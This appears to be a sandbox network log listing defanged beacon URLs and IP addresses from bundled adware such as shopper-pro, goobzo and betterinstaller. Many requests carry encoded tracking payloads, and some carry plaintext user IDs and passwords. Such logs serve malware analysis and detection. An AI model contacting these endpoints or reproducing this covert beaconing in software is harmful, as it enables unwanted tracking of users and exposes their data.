hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6ZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YPItgpdVwHhRYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS4pPO0Kry3XMsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oQ=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6ZWOvghCBTr/YNeFbKg7t0VKYX3Ti/i3YNrVMaqjjilw4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS4pPO0Kry3XMsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oQ=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6ZWOvghCBTr/TdVMo67fxO0s IILilpWF1BbRAuIV9iXXYr2tHNYnceKgTrWDcBRpLG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H2IKApd1PLp3Y6f98gm7saKMhRptWjULtRfzcBrRIr7Ihb2eiG02LDB	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=4mC0vXGWFtpeSST1IgI2iCWqRVUESB2P7ZTHYXaLDVh4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSMLdX5s 5V6YCFMPu/XF4LhJgZ hNipe8AhwsRGINruh3JLgG5QML1bdfZ/rXose/qzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw==	54.230.45.148
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEr lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1BxGjdxEEWKj7k7xKwR3W9AY9/CpuCTIAF0=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=c0XmKevqA0l7JuQ3F68GrO2XM2UCfZ8r 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4TgI5pw2HgQ8TPV3XDU/k0dnXw6eRR27vEQ5JRrthzer 1KrJEVAOY1CjWeJCGbPq69t7URjkW8n8B/cb 8aPyTn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC7EsItMr GkVYeeO3me1TXb8laP0DHoGQ8kwdvOTMYPJxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjiZex9KrXTvPUmU8pxp4SZgE9L8wai8UDg/yVe4Z/h4obfQeCZJmDfQ3SGYOTb0QsR0xabMkbgoEuGoedNVFAuIR1sKxPFdTd7QBcKmNc5tY6f98gm7saKMhRptWjULtRfzcBrRIr7Ip0gS0N4Pl i/2xIh3zf/ts2VPZs3hiCxtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb582wDWK7EtoFjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrj1lJgqVkxwaVi33qPwefc AZSpRiXLg4A==	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsOEyHZoFFyrCIcg35BtfIaeih/Vr5yzwjmMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBpZ3XZNefBgEDtEWP dDLpw1hPyYdCW3i9D7x47MWfVCDj5NXDSx11t4Fjm69sEZL2tWx7/srhmagVA64mRE6a8LxmIYyalAJKZ41CPq3IASqMeNHAfSzsEPg2wrTtaLmz4gguKWlYXS ahcxApTUqpeWXj2a4Yc1TzSgP4V/bWUdn9GqH JvYrNszNzik7HYYan0yy1LdwNMNN2yVHejOoCpRmhVhpiryifqW1 X10MPbd g7bCnnYV lHKmkCemqn1dzsO21qNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOEwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVA4sAdD6TRqA=	54.230.45.148
hxxp://rep.shopper-pro.com/app/ping.ashx?e=c0XmKevqA0l7JuQ3F68GrO2XM2UCfZ8r 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4TgI5pw2HgQ8TPV3XDU/k0cnYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjUwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVq2ZFqISC6Z4fJKZ4NCKSCQ==	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=WL9usJOVMsOEyHZoFFyrCIcg35BtfIaeih/Vr5yzwjmMDmRWpWBZ0KOFBkXJWQLCG0iRFWuAovBpZ3XZNefBgEDtEWP dDLpw1hPyYdCW3i9D7x47MWfVCDj5NXDSx11t4Fjm69sEZL2tWx7/srhmagVA64mRE6a8LxmIYyalAJKZ41CPq3IAfizY7Ujf08WFAL52sIXt4VNAWcyY1YhQgJPf7DUjWKwORQ2C5lN2kXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaM1iDef czzhMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVQOLAHQ k0ag	54.230.45.148
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WErU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX4goCl3U8undjp/3yCbuxooyFGm1aNQu1F/NwGtEivsiYYB6XaVMe6TH/jy8G4FGJY4SiD403Los	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEpe0nRya1/ySF9YSP9ZGURrtfjqskcj0tJCYY2sAkrWlVOxIC gR9ITZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ4ZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UMRHYbz 6m19Cn qX4FpTdffopz0y2Q7Y	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=blUJ6JGwk9KHIN QbXyGnr7wWIswX53b2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEr lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPik87QqvLdcywtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hAFKvbxhXJ8 DxJ w6ryxW8=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JL2b5ZtEYATmB3DZvRfP/q4QN2G3STfV1oSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EifxLeSbH0YYLCV719WrTxq4ZvM W8i8tW188caoXin7Wjwfqp7MHxEi GVzQHau4wOxpFqMx/dg0GZUN OvxiAwLBsnpDJR9iyipIUVGaA 2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gWM2d4wtyZ5qfNTRxTGzTsEGk8IGlu5lbdgJBbOU3ZeuPWUmCpWTHBpWLfeo/B59z4BlKlGJcuDg	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=KC46TpkJIZxD761tAXRB5R3DZvRfP/q4QN2G3STfV1oSZTerw9Y85dVUaX7QH4bytNUutjdaeNp6qHIwZm58EifxLeSbH0YYLCV719WrTxq4ZvM W8i8tdtgpjL3X7N9nl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl649ZSYKlZMcGlYt96j8Hn3PgGUqUYly4OA=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZfTZC8DxP8aHIN QbXyGnoof1a cs8I52YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEpV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgakbpJf5YFA4cnDbXMoNEWaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23LymH6HWKlXrsDkKSYrX3ZF18tFkttUSHlf1ywEdCDAkt1TnX3RNRgTzGEYgH Rahm2VBdeK63awB5esNx9efU=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZfTZC8DxP8aHIN QbXyGnoof1a cs8I52YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEpV9oK7vZm95VRGW796HUe3a50u3XyigpUpkYBnI7MsgXVpi/XAxgNiFazLZl BNqb5m5B1SgRIyasBC0rq0OgbqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx21587que1q39fHAlLen0G3hWl7JgCgPdx8fduGH9wshNQcRo3cRBFio 4Dg1XhGFT0vPfwqbgkyABd	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=4OQPU60dJ1p7JuQ3F68GrH9O0otda/hw 0R MP RL3UJOLXkS9L/h2bktPzt6Fdq7vv4g8eyszzJiqDUFiGk4TgI5pw2HgQ8TPV3XDU/k0d7HEv67ptHclD/oBpUX5crnl1xOKDZuhXrGiiXWYz3NvgrB1VZh8CMsYns0spGP2fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fNsA1iuxLaBYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl649ZSYKlZMcGijca/6c/zCZgGUqUYly4OA=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=2fVCHF6kf8ix1kvX9v50CNPb6VqkTtVAt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5P SvOeUcIx3u0QqJYE95/qdskpjA9 6EOuwYdYyOW/5psrZDsYYadbOj/D8d98sTHIeppoKBjGo94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib/Af3G/vGj8k59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguwJzH U4 RaKau9xWXQx//	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/ToKZCsxhDdVP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRolUWG0SomUHzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrp1Dx2npCblDSOrYhj46XfSN3eDzt50Mz2ayCyvKbZIX7o/ufEN2dGSTRcHKuVeTpTHue1RZyJkvyMpFjoih9vt3JLgG5QML1YoqYA4lDRxGC8Drt0aCEZ8psmZLci oo11FFwnVblZzh9Kw5QsIDqFTDvvWGrJMjBvGZUjN1fBZVWxYc i3eUoktpCioILhsqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSa7vRmfyg0nUXXy0WS21RIeV/XLAR0IMCS3VOdfdE1GBPMYRiAf5FqoTPl9Qa7rac=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/ToKZCsxhDdVP8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bRolUWG0SomUHzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrp1Dx2npCblDSOrYhj46XfSN3eDzt50Mz2ayCyvKbZIX7o/ufEN2dGTfV9OCtHXZfA3mXJEY39mHAhwsRGINruh3JLgG5QML1ZiKaU9wneZ7/w7qwEh1P5w7s3nxyonjvBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCIeP633Hrg0tD7pryhrC3L6uN9Kjt Am94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcshmdjfbUI/qtA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1SkEhTToFVZ/Q==	54.230.45.148
hxxp://rep.shopper-pro.com/app/ping.ashx?e=EneY65zUkfnl5P4ZQPu3v0G9rQ QAxulTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkD5OatmcvVLhTzSgP4V/bWW5oK pVHWIfpptXsS4sCYa6QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0AQnQZzuX1yNTCaeznTlQgJ3npQf7trJpCSI0ufMgAuRu/2r3yC7wFVRSLihSrTtvR8kpng0IpIJ	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=jLYfrKkKGYOHIN QbXyGnhonInuJlCln2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XFdn8AJL65latQpt2e8ihma7uBw3cS1WEo0A75TMG4v BbKdUb4fSU3inFskWrXAmXG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPik87QqvLdcywtS1vATpUKpDpzqqF8GGKCwE2MbvlJ3DB2sR4 cX6hN10EwQxdzjoDxJ w6ryxW8=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAiWqRVUESB2PHUEQPyGrAWORoZJTpqsyZ quxda/Dun3qP0V6n4 tzBHLE0ylDSF78eFfSuOsPNu51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxsHPmaNRNf9MiBldlKQ/vBF2fwAkvrmVqRWJSF0HHhpbiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuybEe7W9itEZAEJ0Gc7l9cjUwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BV/qgvDPs qxFSnkSnlVgA Q==	54.197.238.106
hxxp://online.goobzo.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.213
hxxp://rep.shopper-pro.com/app/ping.ashx?e=lOCrbsNL2zWx1kvX9v50CAIY2i4vW9zFjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2qwPMXmHsT8xuBMcUf8UemD9EYs0TzOu1	54.197.238.106
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834630&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.goobzo.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=	212.143.22.213
hxxp://online.goobzo.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=ecf02c05-2477-44b0-82b0-38a8feb8f4b0&Password=5823NWIH&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=ecf02c05-2477-44b0-82b0-38a8feb8f4b0&Password=5823NWIH&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1418834631&SBPIDS=1&KA=1	212.143.22.213
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1418834632&SBPIDS=1	212.143.22.213
hxxp://rep.shopper-pro.com/app/ping.ashx?e=N6dOqWm8Q96MfN93CMDrzyWqRVUESB2P2KK1QdCjCYV8HUTlRWqBMpqmf2Jej06RtNUutjdaeNqOfkR0SARX9/tMQl6CskwcGXAG ETwjnEnYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjUwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVq2ZFqISC6Z4fJKZ4NCKSCQ==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=IwLHwtP2rDeHIN QbXyGnmroS1dkuREIqLyqyeqrbnpSxKnyZZfBI2bktPzt6FdqaDdJjUK6ZbZmYXlC/iuJE VoQuzCYBglk0XByrlXk6XlXQkfTS5wdHt3nQyCcv/KjWOA0Aefi1e59EhsbNk4nPeZcHrbd1aPiCgKXdTy6d2On/fIJu7GijIUabVo1C7UX83Aa0SK yKN/6ASwtCBe9yIdSn7viDEdZgBGa9o4HcVrdtHxMusX/CYymS4MBcxv8Audd5/tB0WUV8ePZ0SdU3Fi 9FJM1a6eJ0SRaFGYKpmajQJ1prwxZRXx49nRJ1zruMb52zuG/nWRKq6pxJx6qyTnAgQqZVYPLJquZv66aV/sKQVwNmJ32Fnk7oJCBmfl0yK7ww8bRolUWG0SomUHzU0cUxs07BBpPCBpbuZW3YCQWzlN2XrgWHbhygxfFgZrILK8ptkhcE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI1MJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVatmRaiEgumeHySmeDQikgk=	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=M/g8cQcNP KHIN QbXyGnsE5LyKWc4Gx3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrOw9/8 JsFypisjzcUor/7OfS1dRDuqWExa4opuscR66kJIhcmH67jPZQpTedPDILIi5EI4eexb/M2kLK0Eh6GOhAyMRSteYLfy2nd2OoBNWZcVk3bWa3iMJb UIfjrRxmoi0CE64JPNxpM04NYBVExDTJMPiDl9 PFIANZtw9hVvXRT59/7pfiNnJFpXhDir94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjnH72/SGLqiOX lStajyhrtiQ5YlpjAdCrxodeePw 5cajJZSypMM0YsLUtbwE6VCqQ6c6qhfBhigsBNjG75SdwwdrEePnF oTcHCxvGNobLg==	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=1ZEnpGuz/ISMcHmf61T/gCWqRVUESB2PXaegU5VU5CBdOfUh X e3KWVb3f653UbhOwHSMAWuSBZkiNlYo4sZfEh6MhNwuPK/q uWdH3fIU5l6kGsLGUjlAO3ZfaMMISzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1By8y8hS 08Cp4zquPWwCukZgQ7P4 BWPQu3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFYw26Z5atuimAnMEIuq Dk7/HCbVHUc/oyaJByz/QcKFGfqLqdbaO0OeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRneN3TlMvu4AtZwyUkHrLPg0/niVdnGaSoJgmsLZ3n9ZMJp7OdOVCAneelB/u2smkJIjS58yAC5G7/avfILvAVU7LxXws0eQJzMAArcqP5Z8=	54.197.238.106
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=4de1d895-16f4-46c5-b766-79c34a33683b&Password=g4NYbwGq&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,eb48a9ab-49f6-4199-935d-4935ca672341,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1418834647&SBPIDS=1	212.143.22.213
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=764623&mode=nolsp	107.20.238.80
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=766495&mode=nolsp	107.20.238.80
hxxp://rep.shopper-pro.com/app/ping.ashx?e=4mC0vXGWFtrPpyTTOfle7LBz5mjUTX/Tkz1i8WXcyHOz6uevfqaymmuKg2XFbqUQvoXpSr3iMCuKj C8ts/rB0hhMaluKp 8W3zb5I04l QxLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyCyIuRCOHnsW/zNpCytBIehjoQMjEUrXmC38tp3djqATVmXFZN21mt4jCW/lCH460cZqItAhOuCTzcaTNODWAVRMQ0yTD4g5ffjxSADWbcPYVb10U ff 6X4jZyRaV4Q4q/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5x 9v0hi6ojl/pUrWo8oa7YkOWJaYwHQq8aHXnj8PuXGoyWUsqTDNGLC1LW8BOlQqkOnOqoXwYYoLATYxu UncMHaxHj5xfqEJ4eo TuM1dc=	54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eISsn0A7mAY luBT5UotGCWqRVUESB2PWRJHy18FaUd4E7mrr1h80v8gl1CzC7piUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5IjhINkhtyPzBaw9/EHkCQJZwiPBAxskT9/MTFX4VLoIFOWcp9QVJKf6axzXS3sEdveAyMpFjoih9vsI2PDdMlVpp 15ypFCsb9bHtcWuS9XX1JnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UpjNneMLcmeanzU0cUxs07BBpPCBpbuZW3YCQWzlN2Xrm4sJi/93Urb	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /ax1kvX9v50CCNxWvDGxmt3/WD6e6SZIIExLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC1vTLI4Bf0k1 b/YhL9w2PQPCBnswTHyvqUyy/Grac7sz9GdXwkjcG2FzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPu7w RGhL4bCY2Z9PSNwdgjh7xDRHKvaar4GBMyP4VTARxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCIeP633Hrg3WfJzMGPDBlO/8VxkpRT81NdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHJqY2fWTNFLz	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /ax1kvX9v50CCNxWvDGxmt3/WD6e6SZIIExLHUkaU066zsPf/PibBcqYrI83FKK/ zn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC1vTLI4Bf0k1 b/YhL9w2PQPCBnswTHyvqUyy/Grac7sz9GdXwkjcG36qM2bUOwKpdXDXZHqh b9Rhg0WUsz0XnY1eM2Sqpt4A77W/H0iJSYZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKYzZ3jC3Jnmp81NHFMbNOwQaTwgaW7mVt2AkFs5Tdl65uLCYv/d1K2w==	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=aonlVHCKlbVosan8yNlYdiWqRVUESB2PHW9uGgMFYhx4E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSy SAZryxbOJXP9unjtb8XwTxIUcsgQ wusjSmD/os8vaqQW/K05hqJYVFIFjOjie8sOd0nRPdtSYkD76C/fq82damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSmM2d4wtyZ5qfNTRxTGzTsEGk8IGlu5lbdgJBbOU3ZeubiwmL/3dSts=	54.230.45.148
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=EYAmqppYZO HIN QbXyGnvpaHldMmPOrjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5CON/c5qbGaxeqfOL09Waq7I02mIjBnQG1vlbGoI43V0s IILilpWF2ryaFrt1ZytQQr15Tmip 94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcshmdjfbUI/qtA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1SkEhTToFVZ/Q==	54.230.45.148
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c42aebeb52f4eabf469c6ed8ad1c0&uniqid=61c1e9ce078e3e20f171532f2a80443c&affiliate_id=network_xrwc_1&software_id=vlcmediaplayerdmot&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=cc90ebc56362f1bd1be2d710acda8d14&tokyo_csrf2_timestamp=1418834602&slot_number=1&index_in_screen=1&index_in_session=1&0.8735975270306648
